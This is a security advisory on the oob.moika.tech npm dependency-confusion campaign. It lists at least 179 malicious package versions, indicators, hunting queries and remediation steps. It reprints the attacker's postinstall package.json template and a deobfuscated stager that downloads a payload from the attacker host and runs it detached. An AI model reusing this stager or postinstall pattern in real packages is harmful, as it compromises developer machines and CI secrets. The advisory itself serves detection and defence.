critical
CVE
Not assigned
CWE
CWE-426, CWE-506, CWE-200
Affected Surface
At least 179 malicious npm package-version records tied to oob.moika.tech, @cloudplatform-single-spa packages published as 99.99.99 and overlapping 100.100.100 packages, @mlspace packages published as 99.99.99, @car-loans packages published as 99.99.99, @fb-deposit packages published as 99.99.99, @debit-ib packages published as 99.99.99, @t-in-one packages published as 5.7.1, @capibar.chat/ui-kit 99.0.7 and 99.5.7, @sber-ecom-core/sberpay-widget 99.0.7, 99.5.7, and 99.5.8, @wb-track/shared-front 3.5.22, @data-science/llm 3.5.22, @ce-rwb/ce-tools-editor-* 3.5.22, @payments-widget/payments-widget-sdk 3.5.22, @travel-autotests/npm-proto 3.5.22
The oob.moika[.]tech campaign is the larger dependency-confusion story behind several late-May npm alerts. Public sources count it differently because they observed different slices of the same activity:
- Microsoft described a 33-package cluster from 26
mr.4nd3r50npackages plus 7ce-rwbpackages, then documented a later 12-packaget-in-oneexpansion. That gives 45 package names in the Microsoft article’s visible inventory. - SafeDep tracked a broader set of at least 179 malicious npm package-version records tied to
oob.moika[.]tech, including earlier99.99.99waves, pre-staged package versions, and scopes not present in Microsoft’s narrower list.
The conservative wording is: public reporting tied at least 179 malicious npm package-version records to the oob.moika[.]tech dependency-confusion campaign. That is a minimum public inventory, not a complete guarantee of unique package names.
Attack model
The campaign abused the classic dependency-confusion failure mode: a package manager resolves an internal-looking package name from the public npm registry because the scope is not locked to a private registry or because public resolution wins with a higher version.
The attacker’s template made public packages look like internal software:
{
"name": "@cloudplatform-single-spa/svp-baas",
"version": "100.100.100",
"author": "Cloudplatform-Single-Spa Platform Engineering",
"repository": "git+https://github.cloudplatform-single-spa.io/platform/svp-baas.git",
"homepage": "https://docs.cloudplatform-single-spa.io/platform/svp-baas",
"bugs": "https://jira.cloudplatform-single-spa.io/projects/PLATFORM",
"scripts": {
"build": "tsc --noEmit || true",
"test": "node test/index.test.js",
"postinstall": "node scripts/postinstall.js"
}
}
The security boundary is postinstall. If a developer or CI runner executes npm install, npm runs the attacker-controlled script before application code ever imports the package:
npm install
-> package.json postinstall
-> scripts/postinstall.js
-> environment and project profiling
-> HTTPS GET to oob.moika[.]tech/payload/{mac|win|linux}
-> dropped temp JavaScript payload
-> detached background process
That makes this a build-time compromise path. Static application scanning, API testing, and production route coverage do not see the moment of execution unless they also monitor dependency installation.
Stager behavior
The reported postinstall.js stagers used obfuscator.io-style control-flow and string-array techniques. After deobfuscation, the shape is straightforward:
const os = require("os");
const fs = require("fs");
const path = require("path");
const child_process = require("child_process");
const platform = os.platform() === "darwin" ? "mac" : os.platform() === "win32" ? "win" : "linux";
const payloadUrl = `https://oob.moika[.]tech/payload/${platform}`;
const out = path.join(os.tmpdir(), "._cloudplatform-single-spa_init.js");
// Public reports describe this as obfuscated code; this is the resulting control flow.
download(payloadUrl, out);
child_process.spawn(process.execPath, [out], {
detached: true,
stdio: "ignore",
env: {
...process.env,
CLOUDPLATFORM_SINGLE_SPA_RECON_ONLY: "1",
CLOUDPLATFORM_SINGLE_SPA_PKG: process.env.npm_package_name,
CLOUDPLATFORM_SINGLE_SPA_VER: process.env.npm_package_version,
CLOUDPLATFORM_SINGLE_SPA_SECRET: "l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1"
}
}).unref();
The campaign-wide indicators reported across sources include:
C2/report: hxxps://oob.moika[.]tech/report
Payload endpoint: hxxps://oob.moika[.]tech/payload/{mac|win|linux}.js
Shared X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
Temp file examples: ._cloudplatform-single-spa_init.js, ._t-in-one_init.js
Run-once marker: ~/.cache/._t-in-one_init/
Kill switch: T_IN_ONE_NO_TELEMETRY
Lure domains: npm.t-in-one[.]io, docs.t-in-one[.]io, jira.t-in-one[.]io
Microsoft’s write-up described the current mode as reconnaissance-first. That should not be read as benign. Recon payloads routinely collect the exact material needed for a second phase: hostnames, usernames, project roots, environment variables, package names, package versions, and whether the process is running in CI.
process.env
os.hostname()
os.userInfo()
process.cwd()
INIT_CWD
npm_package_name
npm_package_version
CI
package.json / yarn.lock / .git project root signals
Environment variables on developer machines and CI runners commonly contain AWS keys, npm tokens, GitHub tokens, Vault tokens, database URLs, and deployment credentials. A “profile developer environments” campaign is therefore a credential-exposure campaign if the payload receives process.env.
Affected package inventory
The inventory below is grouped by public reporting source and scope. Because some sources count package-version rows and others count unique package names, use the grouped package lists for hunting instead of relying on one headline number.
mr.4nd3r50n packages under @cloudplatform-single-spa
SafeDep reported the following names at 99.99.99; Microsoft reported a 26-name overlapping subset at 100.100.100.
@cloudplatform-single-spa/logaas
@cloudplatform-single-spa/paas-kafka
@cloudplatform-single-spa/postgre
@cloudplatform-single-spa/search
@cloudplatform-single-spa/svp-lbaas
@cloudplatform-single-spa/ml-ai-agents-mcp-server
@cloudplatform-single-spa/key-manager
@cloudplatform-single-spa/ml-inference-comfy-run
@cloudplatform-single-spa/evocs
@cloudplatform-single-spa/marketplace-apps
@cloudplatform-single-spa/anti-ddos
@cloudplatform-single-spa/billing
@cloudplatform-single-spa/dataplatform-cloudberry
@cloudplatform-single-spa/certificate-manager
@cloudplatform-single-spa/cloudia
@cloudplatform-single-spa/dataplatform-clusters
@cloudplatform-single-spa/installations
@cloudplatform-single-spa/ml-ai-agents-ide
@cloudplatform-single-spa/magic-router
@cloudplatform-single-spa/svp-tasks
@cloudplatform-single-spa/svp-pipeline
@cloudplatform-single-spa/audit-log
@cloudplatform-single-spa/advanced
@cloudplatform-single-spa/container-registry
@cloudplatform-single-spa/datagrid
@cloudplatform-single-spa/dataplatform
@cloudplatform-single-spa/paas-redis
@cloudplatform-single-spa/rabbitmq
@cloudplatform-single-spa/smk
@cloudplatform-single-spa/svp-agent-backup
@cloudplatform-single-spa/svp-draas
@cloudplatform-single-spa/svp-bare-metal-servers
@cloudplatform-single-spa/mlspace-access-request
@cloudplatform-single-spa/svp-baas
@cloudplatform-single-spa/ml-rag
@cloudplatform-single-spa/bare-metal-servers
@cloudplatform-single-spa/corax
@cloudplatform-single-spa/ml-ai-agents-system-prompt
@cloudplatform-single-spa/managed-identities
@cloudplatform-single-spa/dataplatform-trino
@cloudplatform-single-spa/ml-finetuning
@cloudplatform-single-spa/ml-foundation-models
@cloudplatform-single-spa/ml-inference
@cloudplatform-single-spa/edge-manager
@cloudplatform-single-spa/enterprise
@cloudplatform-single-spa/event-bus
@cloudplatform-single-spa/dataplatform-bi
@cloudplatform-single-spa/vpc
@cloudplatform-single-spa/vcenter-manager
@cloudplatform-single-spa/vcenter-virtual-machines
@cloudplatform-single-spa/vdi
@cloudplatform-single-spa/timescale-db
@cloudplatform-single-spa/vpn
@cloudplatform-single-spa/employees
@cloudplatform-single-spa/cp-api-gw
@cloudplatform-single-spa/evolution
@cloudplatform-single-spa/dataplatform-connections
@cloudplatform-single-spa/security-groups
@cloudplatform-single-spa/self-service
@cloudplatform-single-spa/notification-gateway
@cloudplatform-single-spa/resource-manager
@cloudplatform-single-spa/solutions
@cloudplatform-single-spa/static-page
@cloudplatform-single-spa/svp-images
@cloudplatform-single-spa/svp-managed-kubernetes
@cloudplatform-single-spa/svp-s3-storage
@cloudplatform-single-spa/monaas-ui
@cloudplatform-single-spa/vmmanager
@cloudplatform-single-spa/agreements
@cloudplatform-single-spa/dataplatform-flink
@cloudplatform-single-spa/dataplatform-metastore
@cloudplatform-single-spa/dataplatform-nessie
@cloudplatform-single-spa/dns
@cloudplatform-single-spa/document-db
@cloudplatform-single-spa/business-solutions
@cloudplatform-single-spa/onboarding
@cloudplatform-single-spa/redirect
@cloudplatform-single-spa/opensearch
@cloudplatform-single-spa/marketplace-main
@cloudplatform-single-spa/ml-ai-agents-agent-system
@cloudplatform-single-spa/ml-ai-agents-marketplace
@cloudplatform-single-spa/ml-inference-router
@cloudplatform-single-spa/svp-anti-affinity
@cloudplatform-single-spa/virtual-machines
@cloudplatform-single-spa/vmware-draas
@cloudplatform-single-spa/support
@cloudplatform-single-spa/svp-vm-migration
@cloudplatform-single-spa/svp-gitaas
@cloudplatform-single-spa/clickhouse
@cloudplatform-single-spa/cloud-dns
@cloudplatform-single-spa/observability
@cloudplatform-single-spa/pangolin
@cloudplatform-single-spa/dataplatform-spark
@cloudplatform-single-spa/disks
@cloudplatform-single-spa/ml-ai-agents-trigger
@cloudplatform-single-spa/arenadata-db
@cloudplatform-single-spa/administration
@cloudplatform-single-spa/svp-tags
@cloudplatform-single-spa/svp-vdi
@cloudplatform-single-spa/serverless-containers
@cloudplatform-single-spa/ml-inference-docker-run
@cloudplatform-single-spa/ml-inference-model-run
@cloudplatform-single-spa/marketplace-gigachat
@cloudplatform-single-spa/virtual-ip
@cloudplatform-single-spa/monitoring
@cloudplatform-single-spa/aifactory-notebooks
@cloudplatform-single-spa/airflow
@cloudplatform-single-spa/floating-ips
@cloudplatform-single-spa/iam
@cloudplatform-single-spa/cnapp-ui
@cloudplatform-single-spa/ml-ai-agents-evo-claw
@cloudplatform-single-spa/base-static-page
@cloudplatform-single-spa/magic-bridge
@cloudplatform-single-spa/ml-ai-agents-agent
@cloudplatform-single-spa/profile
@cloudplatform-single-spa/secret-manager
@cloudplatform-single-spa/svp-gateways
@cloudplatform-single-spa/ssh-keys
@cloudplatform-single-spa/svp-interfaces
@cloudplatform-single-spa/subnets
@cloudplatform-single-spa/ml-inference-marketplace
@cloudplatform-single-spa/vpc-endpoint
Microsoft’s 100.100.100 subset was:
svp-baas, enterprise, vpn, monitoring, dataplatform-trino, marketplace-gigachat,
support, svp-s3-storage, ml-ai-agents-agent, ssh-keys, security-groups, employees,
cp-api-gw, base-static-page, administration, ml-ai-agents-agent-system,
arenadata-db, business-solutions, dataplatform-metastore, cloud-dns,
dataplatform, datagrid, floating-ips, cnapp-ui, svp-interfaces, logaas
mr.4nd3r50n packages under @mlspace
SafeDep reported these at 99.99.99:
@mlspace/model-registry
@mlspace/shared-storage
@mlspace/experiments-monitoring
@mlspace/model-monitoring
@mlspace/profile
@mlspace/dtransfer
@mlspace/dtransfer-history
@mlspace/env-jobs
@mlspace/env-jupyter-server
@mlspace/file-manager
@mlspace/inference-deploy
@mlspace/docker-registry
@mlspace/env-gitlab
@mlspace/connectors
@mlspace/inference-build
@mlspace/experiments
@mlspace/allocations
pik-libs packages
SafeDep tied the pik-libs account to finance-themed scopes at 99.99.99.
@car-loans/applicaion-aff
@car-loans/application-aff
@car-loans/close-flow-module
@car-loans/deal-aff
@car-loans/deal
@car-loans/desktop-car-loans-application
@car-loans/feature-toggles-module
@car-loans/general-analytics
@car-loans/general-feature-toggles
@car-loans/gus
@car-loans/mobile-car-loans-application
@car-loans/online-scoring-aff
@car-loans/online-sign-aff
@car-loans/referrer-module
@car-loans/restore
@car-loans/safe-storage-module
@car-loans/save
@car-loans/show-car-year-module
@car-loans/wait-task-props
@fb-deposit/form-deposit-auth
@fb-deposit/form-deposit-calc
@fb-deposit/form-deposit
@fb-deposit/form-savings-account
@debit-ib/desktop-debit-ib-additional-card-form
@debit-ib/mobile-debit-ib-additional-card-form
t-in-one wave
Microsoft and SafeDep both tied the May 29 wave to the same C2 and shared X-Secret value. Public reporting lists the following @t-in-one packages at 5.7.1:
@t-in-one/add_application
@t-in-one/add_app_middleware_token
@t-in-one/get_application_hid
@t-in-one/form_product_token
@t-in-one/application_id_storage_key_token
@t-in-one/only_difference_payload
@t-in-one/prefill_credit_data_token
@t-in-one/prefill_bundle_data_token
@t-in-one/add_application_tid
@t-in-one/add_application_service_token
@t-in-one/prefill_transformers_data_token
@t-in-one/restore_application_hid_from_storage
@t-in-one/safe_local_storage_token
@t-in-one/save_application_hid_to_storage
@t-in-one/send_add_application
Related staged or republished package versions:
@capibar.chat/ui-kit@99.0.7
@capibar.chat/ui-kit@99.5.7
@sber-ecom-core/sberpay-widget@99.0.7
@sber-ecom-core/sberpay-widget@99.5.7
@sber-ecom-core/sberpay-widget@99.5.8
Microsoft ce-rwb cluster
Microsoft reported these packages at 3.5.22:
@wb-track/shared-front
@data-science/llm
@ce-rwb/ce-tools-editor-admin
@ce-rwb/ce-tools-editor-render
@ce-rwb/ce-tools-editor-core
@payments-widget/payments-widget-sdk
@travel-autotests/npm-proto
Hunting guidance
Search lockfiles and build logs for the scopes first:
rg "@cloudplatform-single-spa|@mlspace|@car-loans|@fb-deposit|@debit-ib|@t-in-one|@capibar.chat|@sber-ecom-core|@wb-track|@data-science|@ce-rwb|@payments-widget|@travel-autotests" package-lock.json yarn.lock pnpm-lock.yaml
Search process telemetry for npm lifecycle execution:
DeviceProcessEvents
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("postinstall", "scripts/postinstall.js", "npm install", "npm ci")
| where ProcessCommandLine has_any ("@cloudplatform-single-spa", "@mlspace", "@car-loans", "@fb-deposit", "@debit-ib", "@t-in-one", "@capibar.chat", "@sber-ecom-core", "@ce-rwb")
Search endpoint and proxy telemetry for the common infrastructure:
oob.moika[.]tech
oob.moika[.]tech/report
oob.moika[.]tech/payload
X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
npm.t-in-one[.]io
docs.t-in-one[.]io
jira.t-in-one[.]io
Search filesystems for dropped payload names and run-once markers:
rg "\\._(cloudplatform-single-spa|t-in-one)_init" /tmp ~/.cache
If you find evidence of execution, assume environment variables were exposed. Rotate credentials from a separate trusted host, not from the possibly compromised workstation or runner.
Remediation
Dependency confusion is primarily a resolution-policy failure. The durable fix is to fail closed when an internal scope cannot resolve from the private registry.
For npm, scope-lock internal namespaces:
@cloudplatform-single-spa:registry=https://npm.internal.example/
@mlspace:registry=https://npm.internal.example/
@car-loans:registry=https://npm.internal.example/
@fb-deposit:registry=https://npm.internal.example/
@debit-ib:registry=https://npm.internal.example/
@t-in-one:registry=https://npm.internal.example/
@capibar.chat:registry=https://npm.internal.example/
@sber-ecom-core:registry=https://npm.internal.example/
always-auth=true
ignore-scripts=true
For CI, prefer lockfile-enforced installs:
npm ci --ignore-scripts
Then explicitly allow lifecycle scripts only for packages that have a reviewed build-time need. That shifts postinstall execution from an ambient default to an exception.
Immediate response steps:
- audit lockfiles, package caches, CI logs, and artifact provenance for affected scopes and versions
- rotate npm publish tokens, cloud credentials, Vault tokens, GitHub tokens, and CI/CD secrets exposed to affected machines
- block
oob.moika[.]techand associated lure domains - register or reserve internal package scopes on the public registry where appropriate
- configure private registry proxies to fail closed instead of falling back to public npm for internal scopes
- rebuild impacted runners and developer environments from trusted images
The important pattern is that package resolution and package installation are part of the application attack surface. A private package name in package.json is not private unless the package manager is configured to make it private.
References
- SafeDep: 179 npm packages target cloud and finance via oob.moika.tech
- Microsoft: Malicious npm packages abuse dependency confusion to profile developer environments
- SecurityOnline: npm dependency confusion attack, new malware discovered
- RedPacket Security: Malicious npm packages abuse dependency confusion
- npm CLI documentation: scripts
- CWE-426 Untrusted Search Path
- CWE-506 Embedded Malicious Code